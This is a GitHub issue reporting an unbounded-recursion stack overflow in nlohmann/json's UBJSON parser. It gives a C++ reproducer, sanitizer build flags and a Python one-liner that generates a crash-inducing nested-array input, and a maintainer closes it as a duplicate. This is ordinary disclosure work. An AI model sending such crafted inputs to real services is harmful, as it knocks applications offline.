Repository navigation
UBJSON parser stack overflow on deeply nested arrays (no recursion depth limit) #5452
Description
Description
json::from_ubjson recurses through nested arrays with no maximum nesting-depth check. The mutual recursion detail::binary_reader::parse_ubjson_internal <-> get_ubjson_array <-> get_ubjson_value (single_include/nlohmann/json.hpp, compiled lines ~12568/13248/13364) runs once per nested array, so a small crafted UBJSON document (8192–16384 nested arrays) exhausts the process stack. AddressSanitizer reports stack-overflow (SIGABRT). This is a DoS vector for any application that calls from_ubjson on untrusted bytes. The CBOR and BSON parsers have the identical defect (separate reports).
Relevant code: detail::binary_reader::parse_ubjson_internal / get_ubjson_array / get_ubjson_value in single_include/nlohmann/json.hpp. UBJSON is specified at [ubjson.org](https://ubjson.org/).
Reproduction steps
Reproduction steps
- Check out the affected library:
git clone --depth 1 --branch v3.12.0 https://github.com/nlohmann/json.git cd json - Save this reproducer as
repro.cpp:#include <cstdint> #include <fstream> #include <iostream> #include <iterator> #include <vector> #include <nlohmann/json.hpp> using json = nlohmann::json; int main(int argc, char** argv) { if (argc < 2) { std::cerr << "usage: " << argv[0] << " <poc.bin>\n"; return 2; } std::ifstream f(argv[1], std::ios::binary); std::vector<uint8_t> v(std::istreambuf_iterator<char>(f), std::istreambuf_iterator<char>()); std::cerr << "[*] input size = " << v.size() << " bytes\n"; try { json j = json::from_ubjson(v); std::cerr << "[*] from_ubjson ok\n"; } catch (const std::exception& e) { std::cerr << "[*] from_ubjson: " << e.what() << "\n"; } return 0; }
- Compile:
clang++ -std=c++11 -O1 -g -fsanitize=address,undefined -fno-sanitize-recover=all \ -I single_include repro.cpp -o repro
- Generate the POC (UBJSON unbounded arrays
'['× 8192, then 8192']', innermost integer0x30) and run:python3 -c "open('poc.bin','wb').write(b'[' * 8192 + b']' * 8192 + b'0')" ./repro poc.bin # or: ./build/out/fuzz_json <poc.bin> if built with the fuzz harness
Expected vs. actual results
Expected: parsing a deep but well-formed UBJSON document should either succeed or throw a controlled exception (e.g. a depth/parse error), as the text parser does for excessive nesting.
Actual: the process aborts with AddressSanitizer: stack-overflow (SIGABRT, exit 134). Full parse fails not with an exception but with a stack exhaustion crash.
Minimal code example
The full repro.cpp above is the minimal self-contained example — it is 30 lines and only uses json::from_ubjson. The smallest triggering input is 16 KB.Error messages
Running LLVMFuzzerInitialize ...
continue...
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3368743==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd2eaf1958 (pc 0x564cfe266fd5 bp 0x7ffd2eaf2190 sp 0x7ffd2eaf1960 T0)
#0 ... in __asan_memset .../asan_interceptors_memintrinsics.cpp:67:3
... (recurrent get_ubjson_array / get_ubjson_value frames)
SUMMARY: AddressSanitizer: stack-overflow .../json.hpp:13265 in get_ubjson_arrayCompiler and operating system
OS: Linux (x86_64) Compiler: clang / clang++ (LLVM), versions 12+ — reproduced with clang 22 Sanitizer flags: -fsanitize=address,undefined -fno-sanitize-recover=all Reproduced on 8 MB default process stack; any stack size below ~a few MB also fails
Library version
v3.12.0 (checked out from the GitHub repository via git clone --depth 1 --branch v3.12.0). The defect is present in the single-header release; the recursion has existed since the binary parsers were introduced.
Validation
- The bug also occurs if the latest version from the
developbranch is used. - I can successfully compile and run the unit tests.
Activity
nlohmann commentedon Sep 1, 2026
This is a known issue. PR #5293 is working on a fix. Closing this as duplicate.